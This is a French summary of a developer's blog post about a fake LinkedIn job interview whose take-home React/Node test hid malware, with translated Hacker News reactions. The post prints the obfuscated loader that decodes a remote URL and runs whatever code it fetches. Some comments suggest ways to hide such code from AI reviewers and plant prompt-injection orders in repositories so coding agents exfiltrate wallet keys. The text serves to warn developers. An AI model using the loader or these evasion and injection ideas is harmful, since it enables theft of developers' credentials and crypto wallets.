Comment j’ai failli me faire hacker à cause d’un « entretien d’embauche »
(blog.daviddodda.com)- Un développeur freelance a échappé de justesse à une attaque en découvrant, 30 secondes avant l’exécution, un malware déguisé en test de code dans le cadre d’un faux entretien d’embauche sophistiqué
- L’attaquant se faisait passer pour le CBO d’une véritable entreprise blockchain, en s’appuyant sur un profil LinkedIn avec plus de 1 000 relations et un dépôt Bitbucket professionnel pour inspirer confiance
- Le code malveillant, obfusqué sous forme de tableau d’octets, était dissimulé dans le contrôleur serveur d’une base de code React/Node et conçu pour voler tous les actifs numériques — portefeuilles crypto, fichiers, mots de passe, etc. — s’il était exécuté avec les privilèges administrateur
- Juste avant de lancer le code, le développeur a demandé à Cursor d’inspecter le code suspect, ce qui a permis de découvrir le malware ; l’URL de distribution a ensuite été supprimée exactement 24 heures plus tard, révélant un système d’effacement des preuves
- Cette attaque constitue un cas typique de social engineering, mobilisant des techniques de manipulation psychologique fondées sur l’urgence, l’autorité, la familiarité et la preuve sociale
- L’histoire rappelle concrètement que les développeurs doivent rendre obligatoires l’inspection en sandbox et la vérification d’identité et de dépôt avant toute exécution de code externe, tout en alertant sur le risque de dommages à grande échelle
Début de l’attaque et méthode d’approche
- L’auteur, développeur freelance avec 8 ans d’expérience, se dit habituellement presque paranoïaque sur la sécurité, mais a malgré tout failli se faire piéger cette fois-ci
- Il reçoit un message LinkedIn d’une personne se présentant comme Mykola Yanchii, directeur blockchain chez Symfa
- Une vraie entreprise, un vrai profil LinkedIn, plus de 1 000 relations
- Un message professionnel et fluide du type : « Nous développons BestCity, une plateforme de transition des workflows immobiliers. Poste à temps partiel. Organisation flexible. »
- Tout semblait correspondre à un processus de recrutement normal, il a donc accepté un appel
Le piège : un malware déguisé en test technique
- Avant la réunion, Mykola lui envoie un « projet de test », une pratique standard dans les entretiens techniques
- Un test de 30 minutes sur une base de code React/Node pour évaluer les compétences du développeur
- Le dépôt Bitbucket était monté de manière très professionnelle
- README propre, documentation correcte
- Jusqu’à une photo de stock corporate montrant une femme devant sa maison, tablette à la main
- L’erreur de l’auteur : en retard pour l’appel, il s’est retrouvé pressé de revoir le code en 30 minutes
- D’ordinaire, il exécute tout dans un environnement sandbox (conteneur Docker, environnement isolé)
- Mais, pris par le temps, il s’est contenté d’examiner le code sans l’exécuter d’abord
- Pendant 30 minutes, il effectue des tâches banales : correction de bugs évidents, ajout d’un fichier
docker-compose, nettoyage du code - Au moment d’exécuter le code pour montrer son travail, son instinct paranoïaque de développeur se réveille
Sortie de crise : l’aide de l’IA
- Juste avant de lancer
npm start, il soumet au Cursor AI agent le prompt suivant- « Avant que je lance cette application, peux-tu vérifier s’il y a du code suspect dans cette base de code ? Des choses comme lire des fichiers qui ne devraient pas l’être, ou accéder à des portefeuilles crypto. »
- Le résultat est saisissant : au milieu de
server/controllers/userController.js, il découvre le code suivant//Get Cookie (async () => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder('utf-8'); axios.get(decoder.decode(uint8Array)) .then(response => { new Function("require", response.data.model)(require); }) .catch(error => { }); })(); - Caractéristiques de ce code
- Obfusqué, discret et malveillant, et 100 % actif
- Inséré entre des fonctions administrateur légitimes afin d’être exécuté immédiatement avec les pleins privilèges serveur lors de l’accès à une route admin
- Une fois le tableau d’octets décodé :
https://api.npoint.io/2c458612399c3b2031fb9- L’URL était active lors du premier accès, ce qui a permis de récupérer la charge utile
- Il s’agissait d’un pur malware, conçu pour dérober tous les actifs numériques : portefeuilles crypto, fichiers, mots de passe, etc.
- Fait crucial : l’URL a été supprimée exactement 24 heures plus tard — les attaquants disposaient donc d’une infrastructure permettant d’effacer rapidement les traces
- L’analyse de la charge via VirusTotal a confirmé qu’il s’agissait bien d’un malware réel
Une opération d’attaque organisée
- Il ne s’agissait pas d’une arnaque amateur, mais d’une opération hautement sophistiquée
- Profil LinkedIn
- Mykola Yanchii paraissait 100 % authentique
- Titre de directeur blockchain, parcours professionnel cohérent
- Même des publications LinkedIn typiques sur « l’innovation » et le « conseil blockchain »
- Usurpation d’entreprise
- Symfa disposait d’une page entreprise LinkedIn complète
- Branding professionnel, plusieurs employés, publications sur la « transformation de l’immobilier par la blockchain »
- Avec tout un réseau de pages liées et d’abonnés
- Méthode d’approche
- Aucun signal d’alerte au premier contact
- Langage professionnel, périmètre de projet crédible
- Utilisation même de Calendly pour organiser le rendez-vous
- Placement de la charge utile
- Le malware était placé stratégiquement dans un contrôleur côté serveur
- Conçu pour s’exécuter avec tous les privilèges Node.js lors de l’accès à des fonctions administrateur
Techniques de manipulation psychologique
- Ce qui rendait cette attaque dangereuse
- Urgence (Urgency)
- « Pour gagner du temps, faites le test avant la réunion »
- Autorité (Authority)
- Profil LinkedIn vérifié, vraie entreprise, mise en scène professionnelle
- Familiarité (Familiarity)
- Test technique take-home standard
- Un format que tous les développeurs ont déjà vu des dizaines de fois
- Preuve sociale (Social Proof)
- Vraie page entreprise avec de vrais employés et de vraies relations
- Malgré sa propre vigilance extrême en matière de sécurité, l’auteur a lui aussi failli tomber dans le piège
Leçons à retenir
- Un simple prompt à une IA a suffi à éviter la catastrophe
- Ni outil de sécurité avancé, ni antivirus coûteux
- Juste une demande à un assistant de code pour rechercher des motifs suspects avant d’exécuter du code inconnu
- Le point inquiétant : ce vecteur d’attaque est parfaitement adapté aux développeurs
- Les développeurs téléchargent et exécutent du code toute la journée
- Dépôts GitHub, packages npm, coding challenges, etc.
- La plupart n’exécutent pas tout dans une sandbox
- Il s’agissait d’un malware côté serveur avec tous les privilèges Node.js
- Accès possible aux variables d’environnement, connexions à la base de données, système de fichiers, portefeuilles crypto, etc.
Ampleur et impact potentiel de l’attaque
- Si ce type d’opération sophistiquée cible les développeurs à grande échelle, combien ont déjà été infectés ?
- Combien de systèmes de production ont-ils déjà compromis ?
- Ciblage parfait
- Les développeurs sont des victimes idéales
- Leurs ordinateurs contiennent les clés du royaume : identifiants de production, portefeuilles crypto, données clients
- Déguisement professionnel
- Crédibilité LinkedIn, base de code réaliste, processus d’entretien standard
- Sophistication technique
- Obfuscation multicouche, livraison distante de la charge utile, dead man’s switch, exécution côté serveur
- Une seule infection réussie peut mettre en danger
- Les systèmes de production de grandes entreprises
- Des avoirs crypto valant des millions de dollars
- Les données personnelles de milliers d’utilisateurs
Conclusion et conduite à tenir
En tant que développeur, si vous recevez une opportunité d’embauche sur LinkedIn :
- 1. Exécutez toujours le code inconnu dans une sandbox
- Utilisez un conteneur Docker, une VM, peu importe
- Ne l’exécutez jamais directement sur votre machine principale
- 2. Utilisez l’IA pour repérer les motifs suspects
- 30 secondes suffisent
- Cela peut sauver toute votre vie numérique
- 3. Vérifiez tout
- Un vrai profil LinkedIn ne signifie pas une vraie personne
- Une vraie entreprise ne signifie pas une vraie opportunité
- 4. Faites confiance à votre instinct
- Si quelqu’un vous pousse à exécuter du code dans l’urgence, c’est un signal d’alerte
- Cette arnaque était suffisamment sophistiquée pour tromper le détecteur de bullshit initial de l’auteur
- Mais un moment de paranoïa et un simple prompt à une IA ont suffi à dévoiler toute l’attaque
- La prochaine fois que quelqu’un vous enverra un « coding challenge », souvenez-vous de cette histoire
- Votre portefeuille crypto vous remerciera
1 commentaires
Réactions sur Hacker News
Cet article était vraiment intéressant, mais je n’ai pas pu me débarrasser de l’impression qu’il avait été écrit par une IA. Le style donnait exactement cette sensation. Cela dit, ce n’est peut-être pas quelque chose qui devrait autant me déranger. L’auteur n’avait probablement pas le temps de l’écrire lui-même, et c’est sans doute grâce à ça qu’on a pu entendre parler de cette expérience. Malgré tout, je garde au fond de moi ce petit regret : j’aurais préféré qu’il l’écrive lui-même. Bien sûr, attendre de quelqu’un qu’il consacre gratuitement son temps à ça est peut-être excessif. Mais si quelque chose comme ça m’arrivait, j’aurais sûrement envie d’en faire le récit de ma propre main
C’était vraiment pénible à lire. Les tournures du genre « pas X, mais Y », les petites phrases courtes, les mini-accroches comme « Le vecteur d’attaque ? », et ces schémas répétitifs rendaient la lecture difficile. Des constructions comme « Pas besoin de solution de sécurité coûteuse, ni d’antivirus haut de gamme. J’ai simplement demandé à mon assistant de code… » revenaient sans cesse. J’ai l’impression qu’on repère de plus en plus facilement les articles écrits par IA. On dirait qu’on devient tous de plus en plus sensibles à ces motifs
<i>« J’ai failli me faire pirater, quelqu’un s’est fait passer pour une entreprise crédible et a caché un truc dans le code de mon serveur... tu peux m’en faire un long billet de blog, bien écrit, avec un peu d’intérêt et de suspense ? Merci ! »</i> J’ai l’impression que ça s’est passé exactement comme ça. (Et vu ce que l’auteur a dit ensuite dans les commentaires, c’était quasiment ça.) Le plus dommage, c’est que le document source original qu’avait lié l’auteur devait être bien plus agréable à lire que cette version recouverte d’IA
J’aimerais qu’il y ait une politique sur la plateforme pour bloquer ou au moins signaler ce genre de texte produit par IA (pas le billet source, mais la version générée par IA). Ça commence à ressembler à du spam de content marketing individuel. Avant, les billets marketing sans substance montaient rarement en une. Maintenant, grâce à l’IA, tout le monde peut produire ce type de prose spammy, et je ne pense pas qu’il faille devenir plus tolérant envers ce format
Oui, cette impression est juste. L’écriture est une activité très personnelle. Il suffit d’observer un peu comment différentes personnes écrivent pour le sentir, et il existe même un domaine scientifique pour ça : la stylométrie. Quand on délègue l’essentiel à l’IA, cela produit un style assez uniforme, « typé IA ». C’est lié au fait que l’apprentissage par renforcement l’ajuste vers certains styles. L’IA n’écrit pas forcément toujours de façon aussi monotone, mais elle a tendance à être réglée vers des phrases neutres, fades, pleines d’accroches convenues. Corriger la grammaire ou polir un texte, l’IA fait très bien l’affaire, mais à la fin il faut quand même que cela ressemble à « mon texte ». Franchement, même sans avoir un niveau d’anglais exceptionnel, on peut écrire de très bons billets de blog. C’est pour ça que je trouve un peu dommage que les gens s’appuient autant sur l’IA. Bien sûr, écrire prend beaucoup de temps. Moi-même, je n’ai publié que quelques billets sur mon blog. Mais ça vaut l’investissement. p.s. En réalité, il doit aussi y avoir pas mal de gens qu’on prend à tort pour des utilisateurs d’IA. Certaines personnes écrivent naturellement dans un style qui s’en rapproche. Cela peut sembler désagréable, mais au fond le problème n’est pas tant le fait d’avoir « utilisé une IA » que le fait que le style du texte ne parle pas vraiment au lecteur. Quand le résultat vient d’un ordinateur sans aucun marquage ni explication, la déception est encore plus forte. Ça peut paraître sévère, mais ce n’est pas une attaque personnelle. Il faut parfois être très honnête. (Cela dit, je ne pense pas que cet article soit à ce point mauvais, il a juste un léger côté convenu)
Oui, c’est exact. J’ai mis le brouillon et le prompt dans l’un de mes commentaires. Je suis en plein lancement d’un nouveau produit dans mon entreprise en ce moment, donc je n’avais pratiquement pas le temps d’écrire. À cause de cette réalité compliquée qu’est la vie, je n’ai pu y consacrer qu’un temps très limité. Merci de votre compréhension
J’ai trouvé sur LinkedIn un compte pseudonyme nommé « Mykola Yanchii », et il ne paraissait absolument pas authentique. Si on clique sur « Voir plus » → « Infos sur ce profil », tout est bourré d’éléments suspects. Par exemple, la date d’inscription est indiquée comme mai 2025, et les coordonnées comme la photo de profil ont toutes été mises à jour en moins de six mois. Ce compte a pourtant un badge de vérification LinkedIn, et il est indiqué que la vérification a été faite via Persona. Cela me fait plutôt soupçonner que le service Persona lui-même ait une faille grave ou une vulnérabilité de sécurité que des cybercriminels exploitent pour arnaquer les gens en s’appuyant sur ce badge. En conclusion, je recommande de ne jamais faire confiance à un profil qui a moins d’un an d’historique, mais prétend avoir un passé beaucoup plus ancien, même s’il a une vérification Persona. https://www.linkedin.com/in/mykola-yanchii-430883368/overlay/about-this-profile/
À noter que si vous cliquez sur un profil LinkedIn en étant connecté, votre visite peut être enregistrée et l’autre personne peut potentiellement savoir qui vous êtes. Cela peut donc faire de vous une cible. Et je me demande pourquoi le nom « Mykola Yanchii » paraît faux. C’est simplement la translittération anglaise d’un nom ukrainien, Николай Янчий. Il existe réellement des personnes portant ce nom https://life.ru/p/1490942
Si je n’étais pas déjà sur LinkedIn, comment pourrais-je devenir une personne crédible ?
Ces escrocs approchent leurs cibles de plusieurs façons, mais au final cela aboutit généralement à une étape technique du genre : « exécutez le code d’un dépôt inconnu pendant l’entretien ». De nos jours, je vérifie presque toujours la date de création des profils LinkedIn. Si le compte a moins de quelques années, ça m’alerte immédiatement
Persona semble n’utiliser que les cartes d’identité nationales / passeports NFC. Donc avec des documents volés, la vérification reste possible
Moi non plus, je n’ai jamais réussi à obtenir ce « badge de vérification LinkedIn ». Mon téléphone se bloque toujours pendant l’étape de vérification
Et si le code avait ressemblé à ça ?
(L’idée, ce n’est pas tant d’avoir un commentaire comme « //récupérer les cookies », mais plutôt quelque chose de ce genre.) Par commodité, j’ai aussi essayé un tour du type :
Un grand modèle d’IA semblait presque hésiter face à ce code. J’ai l’impression que quelqu’un pourrait réussir à rédiger une vraie insertion efficace
À mon avis, une « meilleure » méthode d’attaque consisterait à utiliser des techniques de Return Oriented Programming (ROP) pour fabriquer les chaînes malveillantes. Par exemple, si la chaîne à écrire discrètement est « foobar », on peut faire circuler le payload en assemblant les caractères nécessaires depuis plusieurs tableaux de chaînes :
Pour tromper une IA, il est aussi efficace de choisir des noms de variables confus afin de masquer l’intention. Les IA ont tendance à croire à l’usage supposé d’une variable rien qu’en lisant son nom. Si on ajoute au passage quelques opérations inutiles, c’est encore plus efficace. Comme les modèles d’IA sont habitués au code brouillon et restent peu sensibles au vrai sens logique, ce genre de tromperie fonctionne souvent
Je me demande quelle proportion des gens qui utilisent Claude code ou Codex les lancent sans aucune précaution, en mode YOLO, avec des flags comme
--dangerously-skip-permissions. Si un attaquant part du principe que l’utilisateur fera ça, il pourrait glisser des instructions demandant au LLM d’ignorer les commandes précédentes, d’aller chercher des clés secrètes ou des clés de wallet crypto dans un dossier donné, de les exfiltrer, puis de tout remettre en place comme si de rien n’était. Ce n’est pas du niveau d’un rootkit, mais ça semble largement suffisant pour se faire 50 dollarsSi ça marche... c’est une image à la fois géniale et terrifiante
Il y avait dans toute cette histoire une quantité évidente de signaux d’alerte. Le premier, c’était « blockchain » : la demande réelle dans ce domaine est très faible. Rien que ça, c’est déjà un signal d’alerte. Et exiger l’exécution de code avant même la réunion ? Présenté comme un gain de temps, mais en réalité c’est juste un mécanisme pour vous faire faire ce qu’un inconnu vous demande. Cela dit, ce témoignage me rendra plus vigilant à l’avenir
À mon avis, un entretien estampillé blockchain sert déjà de filtre. Seules postuleront les personnes à qui cela ne paraît pas immédiatement relever de l’arnaque. Autrement dit, cela permet aussi de sélectionner des candidats plus susceptibles de posséder un wallet crypto et d’être moins méfiants. C’est le même principe que les spams du « prince nigérian » remplis de fautes d’orthographe et de grammaire : ceux qui ne remarquent pas ces erreurs sont précisément les vraies cibles
Qu’on aime ou non, il y a encore beaucoup de monde qui travaille dans la blockchain / crypto. Les gens du secteur ont aussi relativement plus de chances de posséder un wallet. On dirait que l’attaquant a choisi sa cible avec un certain soin. Mais comme la cible pourrait changer à tout moment, tous les développeurs devraient rester vigilants
Le mot blockchain à lui seul m’aurait fait écarter la proposition immédiatement
À une époque, le boom de la blockchain proposait de vrais emplois bien payés. Le travail consistait à développer des modèles inutiles, originaux, voire un peu criminels, mais il existait des postes à plus de 300 000 dollars. Par exemple, des gens étaient réellement payés par des fonds de capital-risque pour créer des absurdités du genre « simulateur d’élevage de dragons de compagnie à collectionner ». Bien sûr, il fallait annoncer un nouveau poste tous les six mois, et on contribuait peut-être à rendre le monde un peu pire, mais un emploi reste un emploi
« Une entreprise blockchain légitime me demande d’exécuter du code opaque sur mon PC » : je me serais arrêté net à ce moment-là. Tous les signaux d’alarme étaient déclenchés. Je me rends compte que ces temps-ci je commente souvent la naïveté des lecteurs de HN
J’avais vu une sorte de mini-entretien sur le canal Discord de LLamaIndex. C’était une conversation avant d’être mis en relation avec un vrai développeur. L’escroc a procédé de manière similaire, sauf que je n’avais aucune raison valable d’accéder à ce package ou à ce code. J’étais simplement en partage d’écran via bureau à distance avec mon propre code affiché, et sur 100 000 lignes il n’en regardait réellement qu’une centaine. À un moment, le déguisement de l’escroc est tombé, et il a alors menacé de publier une partie de mon code en prétendant qu’elle était « secrète ». Moi, ça m’a juste fait rire. Il racontait aussi qu’il pouvait reconstituer mon code à partir de la seule vidéo du flux écran, ce qui m’a fait rire encore plus. Je l’ai laissé se fatiguer tout seul. Il est même allé jusqu’à me proposer de rejoindre son organisation criminelle. Finalement, je lui ai posé la question que je pose toujours aux escrocs : « Pourquoi choisir l’arnaque au lieu d’un travail normal ? » Étonnamment, il gérait plutôt bien l’organisation, la planification et la répartition des personnes, un vrai rôle de chef de projet. Sans la partie escroquerie, ses compétences opérationnelles étaient plutôt solides
La simple formule « révolutionner l’immobilier avec la blockchain » suffit déjà comme signal d’alerte
Aujourd’hui, avec un pitch du genre « révolutionner l’immobilier avec l’IA », on décrocherait peut-être facilement 10 millions de dollars d’investissement. Plus besoin de jetons
Il existe réellement des dizaines d’entreprises financées qui essaient de tokeniser des actifs immobiliers. Je ne sais pas si c’est une bonne idée, mais certaines personnes travaillent réellement dans ces boîtes et gagnent vraiment de l’argent
À la seule mention de « révolutionner l’immobilier avec la blockchain », je ne passerais même pas à l’étape suivante
Avec ce genre d’entreprise « blockchain », il vaut mieux partir du principe que c’est une arnaque. Je ne cherche pas à blâmer la victime. Mais quiconque ignore encore cette réalité a vécu dans une grotte pendant des années
Si cette personne avait exécuté le malware au point de transférer aussi la propriété de sa maison, rien que d’y penser, c’est absurde au point d’en rire
Quelqu’un qui ciblait des juniors dans le fil « Who Wants to Be Hired » m’a contacté. Il a éveillé mon intérêt en disant s’intéresser à mon projet, puis a tenté de me faire installer un malware sous couvert d’entretien
Ça me donne presque envie d’introduire dans les entretiens une étape destinée à éliminer ceux qui téléchargent immédiatement n’importe quoi. Je n’ai pas envie d’embaucher quelqu’un qui installe tout sans réfléchir
Il y a aussi des offres suspectes dans les fils de recrutement comme « Who is hiring? »
Il faut donner le vrai nom et mettre en garde publiquement pour éviter d’autres victimes
Vu que HN a déjà, à l’occasion, couvert ou protégé des hackers recherchés, ce genre d’affaire ne m’étonne pas vraiment
J’ai vécu une expérience presque identique https://kaveh.page/blog/job-interview-scam. Si quelqu’un me demande d’exécuter du code sur mon ordinateur, je ne l’accepte jamais à moins qu’il ne provienne d’abord d’un canal de confiance. Et si je dois vraiment exécuter le code de quelqu’un d’autre, j’utilise forcément une VM (machine virtuelle)
Dans ce genre de situation, j’utilise Little Snitch comme outil de base, en mode alerte ou blocage permanent. Même lorsqu’un programme n’a théoriquement pas besoin d’Internet, c’est frappant de voir combien essaient quand même sans cesse de se connecter à des serveurs. Par exemple, le plugin Cline de vscode a une option pour désactiver la télémétrie distante, mais même avec ollama en local, il tente de contacter un serveur à chaque prompt
On m’a indiqué que les sandboxes Linux en conteneur sans configuration sont
sandbox-venvpour Python https://github.com/sandbox-utils/sandbox-venv etsandbox-runpour npm https://github.com/sandbox-utils/sandbox-runJe trouve aussi que Little Snitch ou OpenSnitch sont très utiles dans ce genre de cas. En revanche, il faut éviter les règles globales autorisant tout. Des malwares ont déjà utilisé des sites de confiance comme Github Gists pour exfiltrer des données sensibles. Même si le pare-feu a protégé le système, dès qu’une machine a été compromise, il faut la considérer comme contaminée quoi qu’il arrive
Je trouvais étrange que des gens se plaignent du fait que les systèmes de build automatisés aient besoin d’un accès Internet, mais en réalité c’est une préoccupation tout à fait légitime
Avec Malwarebytes WFC, je me sens beaucoup plus tranquille
La vraie leçon importante, c’est que les réseaux sociaux, y compris LinkedIn, ne peuvent pas remplacer une vraie procédure de vérification d’identité et de due diligence. Les registres de chambre de commerce, les déclarations fiscales (pour les sociétés cotées), les partenaires commerciaux vérifiés, les projets réellement menés à terme — ce genre de « bilan » compte davantage. En 2025, un « badge de vérification » n’est plus une preuve de confiance ; ce qui compte vraiment, c’est le track record